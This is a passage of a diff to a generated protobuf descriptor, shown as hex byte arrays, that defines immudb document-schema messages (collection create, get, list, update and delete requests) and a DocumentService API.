0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, - 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, + 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, + 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, + 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, - 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, - 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, - 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, - 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, - 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, - 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, - 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, - 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, - 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, - 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, - 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, - 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, - 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, + 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, + 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x96, 0x02, 0x0a, 0x17, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5e, 0x0a, 0x0a, 0x61, 0x64, + 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3e, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x41, + 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, + 0x61, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, + 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, + 0x09, 0x52, 0x0d, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, + 0x1a, 0x61, 0x0a, 0x0f, 0x41, 0x64, 0x64, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x2a, 0x49, 0x0a, + 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, + 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, 0x12, 0x06, 0x0a, 0x02, 0x4e, 0x45, 0x10, 0x01, 0x12, 0x06, + 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x45, 0x10, 0x03, 0x12, 0x06, + 0x0a, 0x02, 0x47, 0x54, 0x10, 0x04, 0x12, 0x06, 0x0a, 0x02, 0x47, 0x45, 0x10, 0x05, 0x12, 0x08, + 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x06, 0x2a, 0x30, 0x0a, 0x09, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, 0x42, 0x4c, 0x45, 0x10, + 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, 0x10, 0x01, 0x12, 0x0a, + 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xc7, 0x0c, 0x0a, 0x0f, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x99, + 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 